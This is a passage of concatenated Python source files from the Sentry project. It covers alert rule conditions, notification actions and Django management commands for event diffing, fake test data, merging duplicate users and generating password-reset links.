    def query(self, event, start, end):
        return self.tsdb.get_distinct_counts_totals(
            model=self.tsdb.models.users_affected_by_group,
            keys=[event.group_id],
            start=start,
            end=end,
        )[event.group_id]






"""
sentry.rules.conditions.every_event
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from sentry.rules.conditions.base import EventCondition


class EveryEventCondition(EventCondition):
    label = 'An event is seen'

    def passes(self, event, state):
        return True






"""
sentry.rules.conditions.tagged_event
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import json

from collections import OrderedDict
from django import forms

from sentry.rules.conditions.base import EventCondition


class MatchType(object):
    EQUAL = 'eq'
    NOT_EQUAL = 'ne'
    STARTS_WITH = 'sw'
    ENDS_WITH = 'ew'
    CONTAINS = 'co'
    NOT_CONTAINS = 'nc'
    IS_SET = 'is'
    NOT_SET = 'ns'


MATCH_CHOICES = OrderedDict([
    (MatchType.EQUAL, 'equals'),
    (MatchType.NOT_EQUAL, 'does not equal'),
    (MatchType.STARTS_WITH, 'starts with'),
    (MatchType.ENDS_WITH, 'ends with'),
    (MatchType.CONTAINS, 'contains'),
    (MatchType.NOT_CONTAINS, 'does not contain'),
    (MatchType.IS_SET, 'is set'),
    (MatchType.NOT_SET, 'is not set'),
])

ATTR_CHOICES = [
    'message',
    'platform',
    'environment',
    'exception.type',
    'exception.value',
    'user.id',
    'user.email',
    'user.username',
    'user.ip_address',
    'http.method',
    'http.url',
    'stacktrace.code',
    'stacktrace.module',
    'stacktrace.filename',
]


class FixedTypeaheadInput(forms.TextInput):
    def __init__(self, choices, *args, **kwargs):
        super(FixedTypeaheadInput, self).__init__(*args, **kwargs)
        self.attrs['data-choices'] = json.dumps(choices)
        self.attrs['class'] = self.attrs.get('class', '') + ' typeahead'


class EventAttributeForm(forms.Form):
    attribute = forms.CharField(widget=FixedTypeaheadInput(
        attrs={'style': 'width:200px', 'placeholder': 'i.e. exception.type'},
        choices=[{'id': a, 'text': a} for a in ATTR_CHOICES],
    ))
    match = forms.ChoiceField(MATCH_CHOICES.items(), widget=forms.Select(
        attrs={'style': 'width:150px'},
    ))
    value = forms.CharField(widget=forms.TextInput(
        attrs={'placeholder': 'value'},
    ), required=False)


class EventAttributeCondition(EventCondition):
    """
    Attributes are a mapping of <logical-key>.<property>.

    For example:

    - message
    - platform
    - exception.{type,value}
    - user.{id,ip_address,email,FIELD}
    - http.{method,url}
    - stacktrace.{code,module,filename}
    - extra.{FIELD}
    """
    # TODO(dcramer): add support for stacktrace.vars.[name]

    form_cls = EventAttributeForm
    label = u'An event\'s {attribute} value {match} {value}'

    def _get_attribute_values(self, event, attr):
        # TODO(dcramer): we should validate attributes (when we can) before

        path = attr.split('.')

        if path[0] in ('message', 'platform'):
            if len(path) != 1:
                return []
            return [getattr(event, path[0])]

        elif path[0] == 'environment':
            return [event.get_tag('environment')]

        elif len(path) == 1:
            return []

        elif path[0] == 'extra':
            path.pop(0)
            value = event.data['extra']
            while path:
                bit = path.pop(0)
                value = value.get(bit)
                if not value:
                    return []

            if isinstance(value, (list, tuple)):
                return value
            return [value]

        elif len(path) != 2:
            return []

        elif path[0] == 'exception':
            if path[1] not in ('type', 'value'):
                return []

            return [
                getattr(e, path[1])
                for e in event.interfaces['sentry.interfaces.Exception'].values
            ]

        elif path[0] == 'user':
            if path[1] in ('id', 'ip_address', 'email', 'username'):
                return [
                    getattr(event.interfaces['sentry.interfaces.User'], path[1])
                ]
            return [
                getattr(event.interfaces['sentry.interfaces.User'].data, path[1])
            ]

        elif path[0] == 'http':
            if path[1] not in ('url', 'method'):
                return []

            return [
                getattr(event.interfaces['sentry.interfaces.Http'], path[1])
            ]

        elif path[0] == 'stacktrace':
            stacks = event.interfaces.get('sentry.interfaces.Stacktrace')
            if stacks:
                stacks = [stacks]
            else:
                stacks = [
                    e.stacktrace
                    for e in event.interfaces['sentry.interfaces.Exception'].values
                    if e.stacktrace
                ]

            result = []
            for st in stacks:
                for frame in st.frames:
                    if path[1] in ('filename', 'module'):
                        result.append(getattr(frame, path[1]))
                    elif path[1] == 'code':
                        if frame.pre_context:
                            result.extend(frame.pre_context)
                        if frame.context_line:
                            result.append(frame.context_line)
                        if frame.post_context:
                            result.extend(frame.post_context)
            return result
        return []

    def render_label(self):
        data = {
            'attribute': self.data['attribute'],
            'value': self.data['value'],
            'match': MATCH_CHOICES[self.data['match']],
        }
        return self.label.format(**data)

    def passes(self, event, state, **kwargs):
        attr = self.get_option('attribute')
        match = self.get_option('match')
        value = self.get_option('value')

        if not (attr and match and value):
            return False

        value = value.lower()
        attr = attr.lower()

        try:
            attribute_values = self._get_attribute_values(event, attr)
        except KeyError:
            attribute_values = []

        attribute_values = [v.lower() for v in attribute_values if v is not None]

        if match == MatchType.EQUAL:
            for a_value in attribute_values:
                if a_value == value:
                    return True
            return False

        elif match == MatchType.NOT_EQUAL:
            for a_value in attribute_values:
                if a_value == value:
                    return False
            return True

        elif match == MatchType.STARTS_WITH:
            for a_value in attribute_values:
                if a_value.startswith(value):
                    return True
            return False

        elif match == MatchType.ENDS_WITH:
            for a_value in attribute_values:
                if a_value.endswith(value):
                    return True
            return False

        elif match == MatchType.CONTAINS:
            for a_value in attribute_values:
                if value in a_value:
                    return True
            return False

        elif match == MatchType.NOT_CONTAINS:
            for a_value in attribute_values:
                if value in a_value:
                    return False
            return True

        elif match == MatchType.IS_SET:
            return bool(attribute_values)

        elif match == MatchType.NOT_SET:
            return not attribute_values






"""
sentry.rules.conditions.base
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from sentry.rules.base import RuleBase


class EventCondition(RuleBase):
    rule_type = 'condition/event'

    def passes(self, event, state):
        raise NotImplementedError






"""
sentry.rules.conditions.tagged_event
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from collections import OrderedDict
from django import forms

from sentry.models import TagKey
from sentry.rules.conditions.base import EventCondition


class MatchType(object):
    EQUAL = 'eq'
    NOT_EQUAL = 'ne'
    STARTS_WITH = 'sw'
    ENDS_WITH = 'ew'
    CONTAINS = 'co'
    NOT_CONTAINS = 'nc'


MATCH_CHOICES = OrderedDict([
    (MatchType.EQUAL, 'equals'),
    (MatchType.NOT_EQUAL, 'does not equal'),
    (MatchType.STARTS_WITH, 'starts with'),
    (MatchType.ENDS_WITH, 'ends with'),
    (MatchType.CONTAINS, 'contains'),
    (MatchType.NOT_CONTAINS, 'does not contain'),
])


class TaggedEventForm(forms.Form):
    key = forms.CharField(widget=forms.TextInput(attrs={'placeholder': 'key'}))
    match = forms.ChoiceField(MATCH_CHOICES.items(), widget=forms.Select(
        attrs={'style': 'width:150px'},
    ))
    value = forms.CharField(widget=forms.TextInput(attrs={'placeholder': 'value'}))


class TaggedEventCondition(EventCondition):
    form_cls = TaggedEventForm
    label = u'An event\'s tags match {key} {match} {value}'

    def passes(self, event, state, **kwargs):
        key = self.get_option('key')
        match = self.get_option('match')
        value = self.get_option('value')

        if not (key and match and value):
            return False

        value = value.lower()
        key = key.lower()

        tags = (
            v.lower()
            for k, v in event.get_tags()
            if k.lower() == key or TagKey.get_standardized_key(k) == key
        )

        if match == MatchType.EQUAL:
            for t_value in tags:
                if t_value == value:
                    return True
            return False

        elif match == MatchType.NOT_EQUAL:
            for t_value in tags:
                if t_value == value:
                    return False
            return True

        elif match == MatchType.STARTS_WITH:
            for t_value in tags:
                if t_value.startswith(value):
                    return True
            return False

        elif match == MatchType.ENDS_WITH:
            for t_value in tags:
                if t_value.endswith(value):
                    return True
            return False

        elif match == MatchType.CONTAINS:
            for t_value in tags:
                if value in t_value:
                    return True
            return False

        elif match == MatchType.NOT_CONTAINS:
            for t_value in tags:
                if value in t_value:
                    return False
            return True

    def render_label(self):
        data = {
            'key': self.data['key'],
            'value': self.data['value'],
            'match': MATCH_CHOICES[self.data['match']],
        }
        return self.label.format(**data)






"""
sentry.rules.conditions.minimum_level
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from collections import OrderedDict

from django import forms
from sentry.constants import LOG_LEVELS, LOG_LEVELS_MAP

from sentry.rules.conditions.base import EventCondition

LEVEL_CHOICES = OrderedDict([
    ("{0}".format(k), v)
    for k, v in sorted(LOG_LEVELS.items(), key=lambda x: x[0], reverse=True)
])


class MatchType(object):
    EQUAL = 'eq'
    LESS_OR_EQUAL = 'lte'
    GREATER_OR_EQUAL = 'gte'


MATCH_CHOICES = OrderedDict([
    (MatchType.EQUAL, 'equal to'),
    (MatchType.LESS_OR_EQUAL, 'less than or equal to'),
    (MatchType.GREATER_OR_EQUAL, 'greater than or equal to')
])


class LevelEventForm(forms.Form):
    level = forms.ChoiceField(
        choices=LEVEL_CHOICES.items(),
        initial=30,
    )
    match = forms.ChoiceField(
        choices=MATCH_CHOICES.items(),
        initial=MatchType.GREATER_OR_EQUAL,
    )


class LevelCondition(EventCondition):
    form_cls = LevelEventForm
    label = 'An event\'s level is {match} {level}'

    def passes(self, event, state, **kwargs):
        desired_level = self.get_option('level')
        desired_match = self.get_option('match')

        if not (desired_level and desired_match):
            return False

        desired_level = int(desired_level)
        # Fetch the event level from the tags since event.level is
        # event.group.level which may have changed
        try:
            level = LOG_LEVELS_MAP[event.get_tag('level')]
        except KeyError:
            return False

        if desired_match == MatchType.EQUAL:
            return level == desired_level
        elif desired_match == MatchType.GREATER_OR_EQUAL:
            return level >= desired_level
        elif desired_match == MatchType.LESS_OR_EQUAL:
            return level <= desired_level
        return False

    def render_label(self):
        data = {
            'level': LEVEL_CHOICES[self.data['level']],
            'match': MATCH_CHOICES[self.data['match']],
        }
        return self.label.format(**data)






"""
sentry.rules.conditions
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from .base import *  # NOQA






"""
sentry.rules.conditions.regression_event
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from sentry.rules.conditions.base import EventCondition


class RegressionEventCondition(EventCondition):
    label = 'An event changes state from resolved to unresolved'

    def passes(self, event, state):
        return state.is_regression






"""
sentry.rules.conditions.first_seen_event
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from sentry.rules.conditions.base import EventCondition


class FirstSeenEventCondition(EventCondition):
    label = 'An event is first seen'

    def passes(self, event, state):
        return state.is_new






"""
sentry.rules.actions.notify_event_service
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from django import forms

from sentry.plugins import plugins
from sentry.rules.actions.base import EventAction
from sentry.utils.safe import safe_execute
from sentry.utils import metrics


class NotifyEventServiceForm(forms.Form):
    service = forms.ChoiceField(choices=())

    def __init__(self, *args, **kwargs):
        service_choices = [
            (plugin.slug, plugin.get_title())
            for plugin in kwargs.pop('plugins')
        ]

        super(NotifyEventServiceForm, self).__init__(*args, **kwargs)

        self.fields['service'].choices = service_choices
        self.fields['service'].widget.choices = self.fields['service'].choices


class NotifyEventServiceAction(EventAction):
    form_cls = NotifyEventServiceForm
    label = 'Send a notification via {service}'

    def after(self, event, state):
        service = self.get_option('service')

        extra = {
            'event_id': event.id
        }
        if not service:
            self.logger.info('rules.fail.is_configured', extra=extra)
            return

        plugin = plugins.get(service)
        if not plugin.is_enabled(self.project):
            extra['project_id'] = self.project.id
            self.logger.info('rules.fail.is_enabled', extra=extra)
            return

        group = event.group

        if not plugin.should_notify(group=group, event=event):
            extra['group_id'] = group.id
            self.logger.info('rule.fail.should_notify', extra=extra)
            return

        metrics.incr('notifications.sent', instance=plugin.slug)
        yield self.future(plugin.rule_notify)

    def get_plugins(self):
        from sentry.plugins.bases.notify import NotificationPlugin

        results = []
        for plugin in plugins.for_project(self.project, version=1):
            if not isinstance(plugin, NotificationPlugin):
                continue
            results.append(plugin)

        for plugin in plugins.for_project(self.project, version=2):
            for notifier in (safe_execute(plugin.get_notifiers, _with_transaction=False) or ()):
                results.append(notifier)

        return results

    def get_form_instance(self):
        return self.form_cls(
            self.data,
            plugins=self.get_plugins(),
        )






"""
sentry.rules.actions.base
~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import, print_function

from sentry.rules.base import RuleBase


class EventAction(RuleBase):
    rule_type = 'action/event'

    def after(self, event, state):
        """
        Executed after a Rule matches.

        Should yield CallBackFuture instances which will then be passed into
        the given callback.

        See the notification implementation for example usage.

        >>> def after(self, event, state):
        >>>     yield self.future(self.print_results)
        >>>
        >>> def print_results(self, event, futures):
        >>>     print('Got futures for Event {}'.format(event.id))
        >>>     for future in futures:
        >>>         print(future)
        """
        raise NotImplementedError






"""
sentry.rules.actions.notify_event
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from sentry.plugins import plugins
from sentry.rules.actions.base import EventAction
from sentry.utils import metrics
from sentry.utils.safe import safe_execute


class NotifyEventAction(EventAction):
    label = 'Send a notification (for all enabled services)'

    def get_plugins(self):
        from sentry.plugins.bases.notify import NotificationPlugin

        results = []
        for plugin in plugins.for_project(self.project, version=1):
            if not isinstance(plugin, NotificationPlugin):
                continue
            results.append(plugin)

        for plugin in plugins.for_project(self.project, version=2):
            for notifier in (safe_execute(plugin.get_notifiers, _with_transaction=False) or ()):
                results.append(notifier)

        return results

    def after(self, event, state):
        group = event.group

        for plugin in self.get_plugins():
            if not safe_execute(plugin.should_notify, group=group, event=event, _with_transaction=False):
                continue

            metrics.incr('notifications.sent', instance=plugin.slug)
            yield self.future(plugin.rule_notify)






"""
sentry.rules.actions
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from .base import *  # NOQA






"""
sentry.management
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






"""
sentry.management.commands.diff
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from django.core.management.base import BaseCommand, CommandError

import six
import sys

from optparse import make_option


def get_group_event(pk):
    from sentry.models import Group, Event
    event = Group.objects.get(pk=pk).get_latest_event()
    Event.objects.bind_nodes([event], 'data')
    return event


def get_event(pk):
    from sentry.models import Event
    event = Event.objects.get(pk=pk)
    Event.objects.bind_nodes([event], 'data')
    return event


def print_unified_diff(left, right):
    from difflib import unified_diff
    from sentry.event_manager import (
        get_grouping_behavior,
    )

    left_id = left.id
    right_id = right.id

    left = get_grouping_behavior(left)
    right = get_grouping_behavior(right)

    if left == right:
        return

    if left[0] != right[0]:
        print('! Grouping behavior differs: %r vs %r' % (left[0], right[0]))
        return

    print('> Same grouping behavior: %r' % left[0])

    # These should only be fingerprints at this point

    left = left[1]
    right = right[1]

    left_fingerprint = [k[0] for k in left]
    right_fingerprint = [k[0] for k in right]
    if left_fingerprint != right_fingerprint:
        print('!! Different fingerprint algorithms: %r vs %r' % (left_fingerprint, right_fingerprint))
        return

    bits = left_fingerprint
    print('> Same fingerprint algorithm: %r' % bits)

    left = [k[1] for k in left]
    right = [k[1] for k in right]
    for idx, (a, b) in enumerate(zip(left, right)):
        bit = bits[idx]
        for ((a_key, a_hashes), (b_key, b_hashes)) in zip(a, b):
            if a_key != b_key:
                print('>> Different interfaces for %r: %r vs %r' % (bit, a_key, b_key))
                continue
            for idx, (a_hash, b_hash) in enumerate(zip(a_hashes, b_hashes)):
                a_hash = [six.text_type(h) + '\n' for h in a_hash]
                b_hash = [six.text_type(h) + '\n' for h in b_hash]
                a_file = '<Event id=%d> %r %r[%d]' % (left_id, bit, a_key, idx)
                b_file = '<Event id=%d> %r %r[%d]' % (right_id, bit, b_key, idx)
                for line in unified_diff(a_hash, b_hash, fromfile=a_file, tofile=b_file):
                    sys.stdout.write(line)


class Command(BaseCommand):
    help = 'Display a diff between two events'

    option_list = BaseCommand.option_list + (
        make_option('--group',
            action='store_true',
            dest='group',
            default=False,
            help='Compare latest event by group id'
        ),
    )

    def handle(self, *args, **options):
        if len(args) != 2:
            raise CommandError('Must specify two ids to diff')

        if args[0] == args[1]:
            raise CommandError('Specify different ids')

        print_unified_diff(*map(get_group_event if options['group'] else get_event, args))






"""
sentry.management.commands.check_notifications
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from optparse import make_option

from django.core.management.base import BaseCommand, CommandError

from sentry.models import User


def find_mail_plugin():
    from sentry.plugins import plugins
    for plugin in plugins.all():
        if type(plugin).__name__.endswith('MailPlugin'):
            return plugin
    assert False, 'MailPlugin cannot be found'


def handle_project(plugin, project, stream):
    stream.write('# Project: %s\n' % project)
    from sentry.utils.email import get_email_addresses
    user_ids = plugin.get_sendable_users(project)
    users = User.objects.in_bulk(user_ids)
    for user_id, email in get_email_addresses(user_ids, project).items():
        stream.write('{}: {}\n'.format(users[user_id].username, email))


class Command(BaseCommand):
    help = 'Dump addresses that would get an email notification'

    option_list = BaseCommand.option_list + (
        make_option('--organization',
            action='store',
            type='int',
            dest='organization',
            default=0,
            help='',
        ),
        make_option('--project',
            action='store',
            type='int',
            dest='project',
            default=0,
            help='',
        ),
    )

    def handle(self, *args, **options):
        if not (options['project'] or options['organization']):
            raise CommandError('Must specify either a project or organization')

        from sentry.models import Project, Organization
        if options['organization']:
            projects = list(Organization.objects.get(pk=options['organization']).project_set.all())
        else:
            projects = [Project.objects.get(pk=options['project'])]

        plugin = find_mail_plugin()

        for project in projects:
            handle_project(plugin, project, self.stdout)
            self.stdout.write('\n')






from __future__ import absolute_import, unicode_literals

from celery.bin import celery

from sentry.celery import app
from sentry.queue.command import CeleryCommand

base = celery.CeleryCommand(app=app)


# this is a reimplementation of the djcelery 'celery' command
class Command(CeleryCommand):
    """The celery command."""
    help = 'DEPRECATED see `sentry run {worker,cron} instead.'
    options = (CeleryCommand.options
               + base.get_options()
               + base.preload_options)

    def run_from_argv(self, argv):
        from sentry.runner.initializer import show_big_error
        if 'worker' in argv:
            show_big_error([
                '`sentry celery worker` is deprecated.',
                'Use `sentry run worker` instead.',
            ])
        elif 'beat' in argv:
            show_big_error([
                '`sentry celery beat` is deprecated.',
                'Use `sentry run cron` instead.',
            ])
        argv = self.handle_default_options(argv)
        if self.requires_model_validation:
            self.validate()
        base.execute_from_commandline(
            ['{0[0]} {0[1]}'.format(argv)] + argv[2:],
        )






"""
sentry.management.commands.send_fake_data
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import datetime
import itertools
import random
import six
import time

from django.core.management.base import BaseCommand, CommandError, make_option


def funcs():
    exceptions = itertools.cycle([
        SyntaxError('foo must come before bar'),
        ValueError('baz is not a valid choice'),
        TypeError('NoneType cannot be coerced to bar'),
        NotImplementedError('This feature is not implemented'),
        ZeroDivisionError('Your math doesn\'t work'),
        Exception('An unknown exception'),
        KeyError('index does not exist'),
    ])
    loggers = itertools.cycle(['root', 'foo', 'foo.bar'])
    emails = itertools.cycle(['foo@example.com', 'bar@example.com', 'baz@example.com'])
    timestamps = range(24 * 60 * 60)
    random.shuffle(timestamps)
    timestamps = itertools.cycle(timestamps)

    # def query(client):
    #     duration = random.randint(0, 10000) / 1000.0
    #     return client.capture('Query', query=queries.next(), engine=engine.next(), time_spent=duration, data={'logger': loggers.next(), 'site': 'sql'})

    def exception(client):
        timestamp = datetime.datetime.utcnow() - datetime.timedelta(seconds=six.next(timestamps))
        try:
            raise six.next(exceptions)
        except Exception:
            email = six.next(emails)
            return client.captureException(data={
                'logger': six.next(loggers),
                'site': 'web',
                'sentry.interfaces.User': {
                    'id': email,
                    'email': email,
                }
            }, date=timestamp)

    return [exception]


class Command(BaseCommand):
    help = 'Sends fake data to the internal Sentry project'

    option_list = BaseCommand.option_list + (
        make_option('--project', dest='project', help="project ID or organization-slug/project-slug"),
        make_option('--num', dest='num_events', type=int),
    )

    def handle(self, **options):
        from django.conf import settings
        from raven.contrib.django.models import client
        from sentry.models import Project

        if not options['project']:
            project = Project.objects.get(id=settings.SENTRY_PROJECT)
        else:
            if options['project'].isdigit():
                project = Project.objects.get(id=options['project'])
            elif '/' in options['project']:
                o_slug, p_slug = options['project'].split('/', 1)
                project = Project.objects.get(slug=p_slug, organization__slug=o_slug)
            else:
                raise CommandError('Project must be specified as organization-slug/project-slug or a project id')

        client.project = project.id

        self.stdout.write('Preparing to send events. Ctrl-C to exit.')

        time.sleep(2)

        functions = funcs()

        if options['num_events']:
            max_events = options['num_events']
        else:
            max_events = -1

        s = time.time()
        r = 0
        try:
            while True:
                if r == max_events:
                    break
                if options['verbosity'] > 1:
                    self.stdout.write('Sending event..\n')
                random.choice(functions)(client)
                r += 1
        except KeyboardInterrupt:
            pass
        finally:
            total_time = time.time() - s
            self.stdout.write('%d requests serviced in %.3fs\n' % (r, total_time))
            if r:
                avg = total_time / r
                ravg = 1 / avg
            else:
                avg = ravg = 0
            self.stdout.write('avg of %.3fs/req, %d req/s\n' % (avg, ravg))







from __future__ import absolute_import, print_function

import operator
import sys

from collections import defaultdict
from django.core.management.base import BaseCommand, CommandError, make_option
from django.db.models import Q
from six.moves import input, reduce

from sentry.models import Organization, OrganizationMember, User


class Command(BaseCommand):
    help = 'Attempts to repair any invalid data within Sentry'

    option_list = BaseCommand.option_list + (
        make_option('--organization',
                    help='Find all potential duplicate users within that organization.'),
        make_option('--noinput', dest='noinput', action='store_true', default=False,
                    help='Dont ask for confirmation before merging accounts.'),
        make_option('--no-delete', dest='delete', action='store_false', default=True,
                    help='Don\'t remove merged accounts.'),
    )

    def _get_organization_user_sets(self, organization):
        queryset = OrganizationMember.objects.filter(
            organization=organization,
        ).select_related('user')

        members_by_email = defaultdict(list)
        for member in queryset:
            if not member.user:
                continue
            members_by_email[member.user.email].append(member.user)

        return members_by_email.values()

    def _confirm_merge(self, primary_user, other_users):
        message = "Merge {} into {}? [Yn] ".format(
            ', '.join(o.username for o in other_users),
            primary_user.username,
        )
        while True:
            response = input(message).strip().lower()
            if response in ('y', ''):
                return True
            elif response == 'n':
                return False

    def handle(self, *usernames, **options):
        assert usernames or options.get('organization')

        noinput = options.get('noinput', False)

        if options.get('organization'):
            organization = Organization.objects.get_from_cache(slug=options['organization'])
        else:
            organization = None

        assert not (usernames and organization), 'Must specify either username(s) or organization'

        unique_users = []
        if usernames:
            unique_users.append(list(User.objects.filter(
                reduce(operator.or_, [Q(username__iexact=u) | Q(email__iexact=u) for u in usernames]),
            )))
        elif organization:
            unique_users = self._get_organization_user_sets(organization)
        else:
            raise CommandError("Must specify username(s) or organization")

        unique_users = [u for u in unique_users if len(u) > 1]

        if not unique_users:
            sys.stdout.write("No users with duplicate accounts found for merging.\n")
            return

        sys.stdout.write("Found {} unique account(s) with duplicate identities.\n".format(len(unique_users)))

        for user_list in unique_users:
            user_list.sort(key=lambda x: x.date_joined)

            primary_user = user_list[0]
            if not noinput and not self._confirm_merge(primary_user, user_list[1:]):
                continue

            for user in user_list[1:]:
                user.merge_to(primary_user)
                sys.stdout.write("{} was merged into {}\n".format(
                    user.username,
                    primary_user.username,
                ))

            if options['delete']:
                for user in user_list[1:]:
                    user.delete()






"""
sentry.management.commands
~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import






from __future__ import absolute_import, print_function

from django.contrib.auth.management.commands.createsuperuser import Command


class Command(Command):
    help = 'Performs any pending database migrations and upgrades'

    def handle(self, **options):
        from sentry.runner import call_command
        call_command(
            'sentry.runner.commands.createuser.createuser',
            superuser=True,
        )






"""

Start the celery clock service from the Django management command.

"""
from __future__ import absolute_import, unicode_literals

from celery.bin import beat

from sentry.celery import app
from sentry.queue.command import CeleryCommand

beat = beat.beat(app=app)


# this is a reimplementation of the djcelery 'celerybeat' command
class Command(CeleryCommand):
    """Run the celery periodic task scheduler."""
    options = (CeleryCommand.options
               + beat.get_options()
               + beat.preload_options)
    help = 'Old alias to the "celery beat" command.'

    def handle(self, *args, **options):
        beat.run(*args, **options)






"""
sentry.management.commands.create_sample_event
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2012 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.core.management.base import BaseCommand, CommandError, make_option


class Command(BaseCommand):
    help = 'Creates a sample event in Sentry (if applicable)'

    option_list = BaseCommand.option_list + (
        make_option('--project', dest='project', help="project ID or team-slug/project-slug"),
        make_option('--platform', dest='platform'),
    )

    def handle(self, **options):
        from django.conf import settings
        from sentry.models import Project
        from sentry.utils.samples import create_sample_event

        if not options['project']:
            project = Project.objects.get(id=settings.SENTRY_PROJECT)
        else:
            if options['project'].isdigit():
                project = Project.objects.get(id=options['project'])
            elif '/' in options['project']:
                t_slug, p_slug = options['project'].split('/', 1)
                project = Project.objects.get(slug=p_slug, team__slug=t_slug)
            else:
                raise CommandError('Project must be specified as team-slug/project-slug or a project id')

        platform = options['platform']
        event = create_sample_event(project, platform)
        if not event:
            raise CommandError('Unable to create an event for platform %r' % (platform,))

        self.stdout.write('Event created: %s' % (event.group.get_absolute_url(),))






"""
sentry.management.commands.collectstatic
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import os

from itertools import chain
from operator import itemgetter
from hashlib import md5
from django.contrib.staticfiles.management.commands.collectstatic import Command as BaseCommand
from six.moves import zip

BUFFER_SIZE = 65536
VERSION_PATH = 'version'


def checksum(file_):
    hasher = md5()
    with open(file_[1], 'rb') as fp:
        buf = fp.read(BUFFER_SIZE)
        while len(buf) > 0:
            hasher.update(buf)
            buf = fp.read(BUFFER_SIZE)
    return hasher.hexdigest()


def get_bundle_version(files):
    hasher = md5()
    for (short, _), sum in zip(files, list(map(checksum, files))):
        print('%s  %s' % (sum, short))
        hasher.update('{}  {}\n'.format(sum, short).encode('utf-8'))
    return hasher.hexdigest()


class Command(BaseCommand):
    def collect(self):
        try:
            os.remove(self.storage.path(VERSION_PATH))
        except OSError:
            pass

        collected = super(Command, self).collect()
        paths = sorted(set(chain(*itemgetter(*collected.keys())(collected))))
        abs_paths = list(map(self.storage.path, paths))
        version = get_bundle_version(list(zip(paths, abs_paths)))
        print('-----------------')
        print(version)
        with open(self.storage.path(VERSION_PATH), 'wb') as fp:
            fp.write(version)
        return collected







from __future__ import absolute_import, print_function

import sys

from django.core.management.base import BaseCommand, make_option
from django.utils import timezone

from sentry.models import LostPasswordHash
from sentry.utils.auth import find_users


class Command(BaseCommand):
    help = 'Generate a link for a user to reset their password'

    option_list = BaseCommand.option_list + (
        make_option('--noinput', dest='noinput', action='store_true', default=False,
                    help='Dont ask for confirmation before merging accounts.'),
    )

    def handle(self, username, **options):
        users = find_users(username, with_valid_password=False)
        if not users:
            sys.stdout.write("No account found with given username.\n")
            return

        for user in users:
            password_hash, created = LostPasswordHash.objects.get_or_create(
                user=user,
            )
            if not password_hash.is_valid():
                password_hash.date_added = timezone.now()
                password_hash.set_hash()
                password_hash.save()
            print('{} ({}) - {}'.format(
                user.username,
                user.email,
                password_hash.get_absolute_url(),
            ))






from __future__ import absolute_import

__all__ = ['ProviderNotRegistered']


class ProviderNotRegistered(Exception):
    pass


class IdentityNotValid(Exception):
    pass






from __future__ import absolute_import, print_function

__all__ = ['AuthView', 'ConfigureView']

from sentry.plugins.base.view import PluggableViewMixin
from sentry.web.frontend.base import BaseView


class AuthView(BaseView):
    """
    A segment of Provider's auth pipeline.

    See ``BaseView`` for capabilities.
    """
    auth_required = False
    sudo_required = False

    def get_ident(self):
        cls = type(self)
        return '{module}.{name}'.format(
            module=cls.__module__,
            name=cls.__name__,
        )


class ConfigureView(BaseView, PluggableViewMixin):
    """
    """

